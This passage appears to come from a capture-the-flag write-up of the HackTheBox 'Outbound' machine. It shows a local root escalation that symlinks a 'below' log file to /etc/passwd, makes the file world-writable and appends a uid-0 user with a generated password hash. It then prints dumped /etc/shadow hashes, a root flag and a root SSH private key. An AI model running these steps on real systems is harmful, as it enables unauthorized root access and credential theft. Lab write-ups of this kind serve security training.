Error Message: Exact requested timestamp not found (would have used next datapoint)
-------------------------------------------------------------
|
The error logs were successfully written into /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
| jacob@outbound:~$ cat /etc/passwd | tail
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:999:988::/var/log/laurel:/bin/false
mel:x:1000:1000:,,,:/home/mel:/bin/bash
tyler:x:1001:1001:,,,:/home/tyler:/bin/bash
jacob:x:1002:1002:,,,:/home/jacob:/bin/bash
Jul 15 05:34:00.653 WARN Expected file does not exist: /var/log/below/store/index_00000000000
Jul 15 05:34:00.656 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Exact requested timestamp not found (would have used next datapoint)
-------------------------------------------------------------
|
By doing so, below granted rw (read/write) permission to everyone on /etc/passwd
1
2
| jacob@outbound:~$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul 15 06:34 /etc/passwd
|
This attack workflow should be automated since there’s a heal check script that auto rollback the file system changes
1
| ln -sf /etc/passwd /var/log/below/error_root.log; sudo below debug dump-store --time 1
|
Now we can just add users with root permission to /etc/passwd
Generate user data
1
2
3
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ HASH=$(openssl passwd -1 -salt ftpd 'Bravosec1337!'); echo "ftpd:${HASH}:0:0:root:/root:/bin/bash"
ftpd:$1$ftpd$wqR0M.yCMVUU0aYDQNKgP0:0:0:root:/root:/bin/bash
|
Write user data to /etc/passwd and switch user to ftpd
1
2
3
4
5
6
| jacob@outbound:~$ echo 'ftpd:$1$ftpd$wqR0M.yCMVUU0aYDQNKgP0:0:0:root:/root:/bin/bash' >> /var/log/below/error_root.log; su - ftpd
Password:Bravosec1337!
root@outbound:~# id
uid=0(root) gid=0(root) groups=0(root)
root@outbound:~# cat root.txt
32c67df937ca994c68e4df0c81b769d2
|
Additional
Post exploitation
Secrets
1
2
3
4
5
| root@outbound:~# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$y$j9T$pYysWAL0lX2oSXNpBeXs81$yinIBrOJnhJj7viI.GiorNEgZFyIewJbS3qnjgXth16:20247:0:99999:7:::
mel:$y$j9T$5lR6zOH0Y8G/9ZDhogu2o0$9..CpGSBi06uovpNhGjqaMhPkc3Yw/svG9T3bSBoeS2:20247:0:99999:7:::
tyler:$y$j9T$t1QDz.OaqfevjpnRfQrRY.$jJwx2.H.OkiHiW8T0f.3A1qS5ZfA7.nmwU3TE1otfb.:20247:0:99999:7:::
jacob:$y$j9T$5JYw1WIG1mlmMdj6BrGVV/$yimg6djeBwfHAaDiOPoU0le/aURm6fRaG.DXzBkmmmA:20247:0:99999:7:::
|
Files
1
2
3
4
5
6
7
8
| [+] /root/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAgJUUFNWb9cwZqGd7Eu+eg4fNO7rbWunuTsofUcm9v8AAAAJBG8i3vRvIt
7wAAAAtzc2gtZWQyNTUxOQAAACAgJUUFNWb9cwZqGd7Eu+eg4fNO7rbWunuTsofUcm9v8A
AAAEAK+Cbss+XhSwnuFg2UQGBoH2btqgdSle5APM+6Ff+4dCAlRQU1Zv1zBmoZ3sS756Dh
807utta6e5Oyh9Ryb2/wAAAADXJvb3RAb3V0Ym91bmQ=
-----END OPENSSH PRIVATE KEY-----
|
Client side activities
Keylogging & Clipboard history
Browser
Files & directories access history
Application history